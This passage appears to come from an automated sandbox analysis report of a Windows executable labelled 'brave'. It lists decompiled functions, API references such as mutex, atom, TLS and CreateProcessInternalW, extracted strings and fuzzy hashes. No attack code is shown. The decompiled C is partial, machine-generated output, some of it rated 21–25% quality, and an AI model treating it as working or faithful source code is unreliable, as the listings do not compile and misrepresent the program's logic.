ReleaseMutex.KERNEL32 ref: 00007FF69F817202
CloseHandle.KERNEL32 ref: 00007FF69F81720B

Strings

aaaaaaaa, xrefs: 00007FF69F81711E
__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAaaAAAAAAaAaAAaaaaaAaAaaaaaaaaa, xrefs: 00007FF69F8170DB, 00007FF69F817196, 00007FF69F8171D6, 00007FF69F817227
aaaaaaaa, xrefs: 00007FF69F817114
KeBeAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF69F81706E, 00007FF69F81712F
failed to add string to atom table, xrefs: 00007FF69F8172C3
failed to get string from atom, xrefs: 00007FF69F8172F6
__shmem3_winpthreads_tdm_, xrefs: 00007FF69F8170B7, 00007FF69F8170E7
failed to to lock creation mutex, xrefs: 00007FF69F8172D6

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: KeBeAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAaaAAAAAAaAaAAaaaaaAaAaaaaaaaaa$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-1215711842
Opcode ID: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction ID: d09deaf5394b751c4f19ac98a7a85d52dd4ed3de3cad629605911c9eb0a149ae
Opcode Fuzzy Hash: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction Fuzzy Hash: B561ADB5F08A47C1EE708B14E9012B937A5FF64786F8281B5C86EC33A0EE3CA106D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F813520 Relevance: 24.4, APIs: 16, Instructions: 450
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F813520(void* __edx, void* __r8) {

				if (__edx != 0) goto 0x9f813548;
				if (__r8 == 0) goto 0x9f813588;
				return 1;
			}

0x7ff69f81352d
0x7ff69f813532
0x7ff69f813544

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 00007FF69F813594
TlsGetValue.KERNEL32 ref: 00007FF69F8135ED
CloseHandle.KERNEL32 ref: 00007FF69F81362B
CloseHandle.KERNEL32 ref: 00007FF69F813638
TlsSetValue.KERNEL32 ref: 00007FF69F8136A5

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CloseHandleValue$ExceptionHandlerRemoveVectored
String ID:
API String ID: 2941551293-0
Opcode ID: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction ID: 20abbe12ce578ef79bf59f101798fb64cd94767e27b24f2d5edab06960981960
Opcode Fuzzy Hash: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction Fuzzy Hash: 38220461B09B0A85FAB4AB15DA547B837B0EF44B94F4606B6DA2DC7391DF3CE444E310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F816F70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF69F816F81
WaitForSingleObject.KERNEL32 ref: 00007FF69F816F92
FindAtomA.KERNEL32 ref: 00007FF69F816FFF
ReleaseMutex.KERNEL32 ref: 00007FF69F81700D
CloseHandle.KERNEL32 ref: 00007FF69F817016
CloseHandle.KERNEL32 ref: 00007FF69F817037

Strings

__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAaaAAAAAAaAaAAaaaaaAaAaaaaaaaaa, xrefs: 00007FF69F816FF8
KeBeAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF69F816F7A
failed to to lock cleanup mutex, xrefs: 00007FF69F817028

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: KeBeAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAaaAAAAAAaAaAAaaaaaAaAaaaaaaaaa$failed to to lock cleanup mutex
API String ID: 3776795807-2839872989
Opcode ID: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction ID: e2d79f26d4ce8ae5f30d78677bd7fd9bca7a51975dc363ebfa0045ed1fcf82ce
Opcode Fuzzy Hash: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction Fuzzy Hash: 8D2154A1B09A07C1EEB49B51EA5413833E1FF44BD6B4696B5C86EC7390EE3CE485D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F812D40 Relevance: 16.7, APIs: 11, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00007FF67FF69F812D40(void* __ecx, void* __rdx) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t6;
				void* _t9;
				void* _t10;
				void* _t11;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t22;
				void* _t26;
				intOrPtr* _t27;
				void* _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t27 =  *0x9fab6920; // 0x7ff69fac1400
				_t18 =  *_t27;
				if (_t18 == 0) goto 0x9f812f30;
				if ( *((long long*)(_t18 + 0x28)) != 0) goto 0x9f812f18;
				 *((long long*)(_t18 + 0x28)) = 0x9fac13c8;
				if ( *0x9fac13c8 == 1) goto 0x9f812f25;
				E00007FF67FF69F812350(_t9, _t10, _t11,  *0x9fac13c8 - 1, _t18, _t22, 0x9fac13c8, _t26, _t27, _t28, _t30, _t31, _t32);
				_t19 =  *_t27;
				if (_t19 == 0) goto 0x9f812dc0;
				if ( *((long long*)(_t19 + 0x30)) != 0) goto 0x9f812de0;
				 *((long long*)(_t19 + 0x30)) = 0x9fab2bd8;
				_t6 = TlsGetValue(??);
				if (0x9fab2bd8 == 0) goto 0x9f812df4;
				return _t6;
			}

0x7ff69f812d4a
0x7ff69f812d51
0x7ff69f812d57
0x7ff69f812d62
0x7ff69f812d72
0x7ff69f812d76
0x7ff69f812d7c
0x7ff69f812d81
0x7ff69f812d87
0x7ff69f812d8e
0x7ff69f812d97
0x7ff69f812da0
0x7ff69f812dac
0x7ff69f812dbb

APIs

TlsGetValue.KERNEL32 ref: 00007FF69F812DA0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction ID: 5a4804ec2603eddc3b7be22707adecd62bfdc9aff5cf334c6fad09287980364c
Opcode Fuzzy Hash: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction Fuzzy Hash: 2C711772A09B0A85EBB09F25E55076937B0FF44BA8F4642B9DA6C873A1DF3CE444D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F804090 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF69F8040C1
wcslen.MSVCRT ref: 00007FF69F804117

Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DF96
Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DFC1

wcslen.MSVCRT ref: 00007FF69F8041B7
memcpy.MSVCRT ref: 00007FF69F8042E6

Strings

0, xrefs: 00007FF69F804260
, xrefs: 00007FF69F8041CE
@, xrefs: 00007FF69F80426B
\??\, xrefs: 00007FF69F804110, 00007FF69F804129
basic_string::_M_construct null not valid, xrefs: 00007FF69F804300

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2971582370
Opcode ID: b5d247323698149d340c130ac0e6dd9a73dea5bbab17d57a17569d1199411ecf
Instruction ID: 361f7a88aacde8b5ea1a5fc60a928a62336a05688f34c22beeb9b6d7619c9791
Opcode Fuzzy Hash: b5d247323698149d340c130ac0e6dd9a73dea5bbab17d57a17569d1199411ecf
Instruction Fuzzy Hash: DA613632609BC185E7B08B15F5503EAB7B0FB84784F954265DA8C87B99DFBDD009DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F810230 Relevance: 12.1, APIs: 8, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF67FF69F810230(intOrPtr* __rax, void* __rcx) {
				void* _t5;
				intOrPtr _t6;
				intOrPtr* _t11;
				intOrPtr _t13;

				_t11 = __rax;
				_t13 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t13 == 0) goto 0x9f810288;
				_t6 =  *0x9fac1370; // 0x1
				_t5 = E00007FF67FF69F815260(_t6, __rax);
				if (_t11 == 0) goto 0x9f8102c8;
				if ( *_t11 - _t13 < 0) goto 0x9f810370;
				if ( *((intOrPtr*)(_t11 + 8 + (_t13 - 1) * 8)) == 0) goto 0x9f810310;
				return _t5;
			}

0x7ff69f810230
0x7ff69f81023a
0x7ff69f810244
0x7ff69f810246
0x7ff69f81024c
0x7ff69f810257
0x7ff69f81025f
0x7ff69f810271
0x7ff69f810284

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1187da6e171b2e77c5614d760d31e22034ad26bdc6425de355795f4ea1b5fa90
Instruction ID: 1c74d686309412c744d3ba220700c8bcf22208fb97bc748cf1f202e92b26b7f1
Opcode Fuzzy Hash: 1187da6e171b2e77c5614d760d31e22034ad26bdc6425de355795f4ea1b5fa90
Instruction Fuzzy Hash: 13519F22B19A0681EEB19F15EA405B833B4FF54BC8F9A86B5D91D87391DE3CE452D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8039D0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF69F803A58

Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DF96
Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DFC1

wcslen.MSVCRT ref: 00007FF69F803AE6
memcpy.MSVCRT ref: 00007FF69F803BFE

Strings

0, xrefs: 00007FF69F803B4A
, xrefs: 00007FF69F803AEB
\??\, xrefs: 00007FF69F803A51, 00007FF69F803A6A
basic_string::_M_construct null not valid, xrefs: 00007FF69F803C18
@, xrefs: 00007FF69F803B55

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 1844840824-2971582370
Opcode ID: ee05ecdc9710429fa0aab71fa4d1ecee077df793fd946b12f4536450c2e0f0d3
Instruction ID: acbfb7925725c91dea7f65e090e0342e55d61fb939fcd7de8d92d288bdcd6876
Opcode Fuzzy Hash: ee05ecdc9710429fa0aab71fa4d1ecee077df793fd946b12f4536450c2e0f0d3
Instruction Fuzzy Hash: 97515832609B8591E7B0CB15E5113AAB3B0FBC4784F958176EA8C83B99DFBCD008DB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F803CD0 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF69F803D01
wcslen.MSVCRT ref: 00007FF69F803D57

Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DF96
Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DFC1

wcslen.MSVCRT ref: 00007FF69F803DF7
memcpy.MSVCRT ref: 00007FF69F803F26

Strings

@, xrefs: 00007FF69F803EAB
0, xrefs: 00007FF69F803EA0
\??\, xrefs: 00007FF69F803D50, 00007FF69F803D69
basic_string::_M_construct null not valid, xrefs: 00007FF69F803F40

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: 0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2209788446
Opcode ID: 94939aa4065493588ff229156f05ba003bfbe37133c0b9f2618c22385aa06220
Instruction ID: d327c77c32ae233e11720401399ff78fde2e8a2379f34f1bd8f512eda07faa82
Opcode Fuzzy Hash: 94939aa4065493588ff229156f05ba003bfbe37133c0b9f2618c22385aa06220
Instruction Fuzzy Hash: 80612632609BC585E7B08B15E5503EBB7B0FB84B84F954265DA8C87B99DFBDD009CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8028A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00007FF67FF69F8028A0(void* __ecx, void* __edi, void* __esp, void* __rax, void* __rdx, long long __r8, long long __r9, intOrPtr _a4, long long _a12, long long _a20, long long _a28, long long _a36, long long _a44, long long _a60, long long _a64, long long _a68, long long _a76, long long _a84, char _a100, void* _a112, char _a224, char _a65824, long long _a65832) {
				long long _v4;
				long long _v12;
				void* _t32;
				void* _t33;
				intOrPtr* _t49;
				intOrPtr* _t50;

				E00007FF67FF69F80F680(0x10108);
				_a65824 = __r8;
				r8d = 0xfffe;
				_t33 = __ecx;
				_a65832 = __r9;
				memset(??, ??, ??);
				_a64 =  &_a65824;
				E00007FF67FF69F81A220(__ecx,  &_a224, __rdx, __rdx,  &_a65824);
				r9d = 0;
				memset(__edi, 0, 0xd << 0);
				_a36 =  &_a68;
				_a28 =  &_a100;
				_t49 =  *0x9fab6640; // 0x7ff69fac1078
				_a44 =  &_a60;
				_a100 = 0x68;
				_a68 = 0;
				_a76 = 0;
				_a84 = 0;
				_a60 = 0;
				_a20 = 0;
				_a12 = 0;
				_a4 = 0x8000000;
				_v4 = 0;
				_v12 = 0;
				 *_t49(); // executed
				if (_t33 == 0) goto 0x9f8029b7;
				_t50 =  *0x9fab6660; // 0x7ff69fac1058
				_t32 =  *_t50();
				E00007FF67FF69F804D0D();
				return _t32;
			}

0x7ff69f8028aa
0x7ff69f8028bd
0x7ff69f8028c7
0x7ff69f8028cd
0x7ff69f8028d2
0x7ff69f8028da
0x7ff69f8028fa
0x7ff69f8028ff
0x7ff69f80290b
0x7ff69f80290e
0x7ff69f80291e
0x7ff69f80292b
0x7ff69f802930
0x7ff69f802937
0x7ff69f80293e
0x7ff69f802949
0x7ff69f802952
0x7ff69f80295b
0x7ff69f802967
0x7ff69f802970
0x7ff69f802979
0x7ff69f802982
0x7ff69f80298a
0x7ff69f802992
0x7ff69f80299b
0x7ff69f8029a4
0x7ff69f8029a6
0x7ff69f8029b5
0x7ff69f8029ba
0x7ff69f8029cc

APIs

memset.MSVCRT ref: 00007FF69F8028DA
CreateProcessInternalW.KERNELBASE ref: 00007FF69F80299B

Strings

h, xrefs: 00007FF69F80293E

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CreateInternalProcessmemset
String ID: h
API String ID: 101748716-2439710439
Opcode ID: fcd300044cf6aeb4d68446b7745a330080b68fcd7881ba9ed109ab9aa9302c8f
Instruction ID: f8e8d869dbcee408d7c9c8ae446f5c4ea344e7680ee2c2ea235a91dd8c124a70
Opcode Fuzzy Hash: fcd300044cf6aeb4d68446b7745a330080b68fcd7881ba9ed109ab9aa9302c8f
Instruction Fuzzy Hash: F4216632608B8092E3609B15F41479BB7A5FBC4784F504139EACC87BA8DFBDD149CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F814030 Relevance: 3.7, APIs: 2, Instructions: 652
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00007FF67FF69F814030(signed int* __rcx, long long __rdx, void* __r8) {
				intOrPtr _t96;
				signed int _t104;
				signed int _t110;
				signed int _t111;
				long long _t134;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr _t187;
				intOrPtr _t188;
				intOrPtr _t189;
				intOrPtr _t190;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr _t195;
				intOrPtr _t196;
				intOrPtr _t197;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr _t201;
				intOrPtr _t203;
				intOrPtr _t205;
				intOrPtr _t206;
				intOrPtr _t208;
				intOrPtr _t210;
				signed long long _t228;
				signed long long _t230;
				signed int* _t250;
				intOrPtr* _t251;
				long long _t252;
				long long _t259;
				signed int _t263;

				_t250 = __rcx;
				_t252 = __rdx;
				if (__rcx == 0) goto 0x9f8145f0;
				_t251 =  *0x9fab6920; // 0x7ff69fac1400
				_t184 =  *_t251;
				if (_t184 == 0) goto 0x9f8142f8;
				if ( *((long long*)(_t184 + 0x38)) != 0) goto 0x9f814318;
				 *((long long*)(_t184 + 0x38)) = 0x9fab2bd0;
				E00007FF67FF69F8184D0(0x9fab2bd0);
				_t185 =  *_t251;
				if (_t185 == 0) goto 0x9f81432d;
				if ( *((long long*)(_t185 + 0x48)) == 0) goto 0x9f814458;
				_t96 =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x48))));
				goto 0x9f8140e5;
				_t228 =  *((intOrPtr*)( *_t251 + 0x40));
				_t187 =  *_t251;
				if (_t96 -  *_t228 >= 0) goto 0x9f814100;
				if ( *((long long*)(_t187 + 0x10)) == 0) goto 0x9f814358;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x10)))) + _t228 * 8)) == 0) goto 0x9f814470;
				if (_t187 == 0) goto 0x9f814370;
				if ( *((long long*)(_t187 + 0x40)) != 0) goto 0x9f8140b0;
				 *((long long*)(_t187 + 0x40)) = 0x9fac13c4;
				if (_t96 + 1 -  *0x9fac13c4 < 0) goto 0x9f8140bb;
				goto 0x9f81414d;
				asm("o16 nop [eax+eax]");
				_t230 =  *((intOrPtr*)(_t187 + 0x48));
				_t188 =  *_t251;
				if (0 -  *_t230 >= 0) goto 0x9f814168;
				if ( *((long long*)(_t188 + 0x10)) == 0) goto 0x9f8143d8;
				_t263 = _t230 * 8;
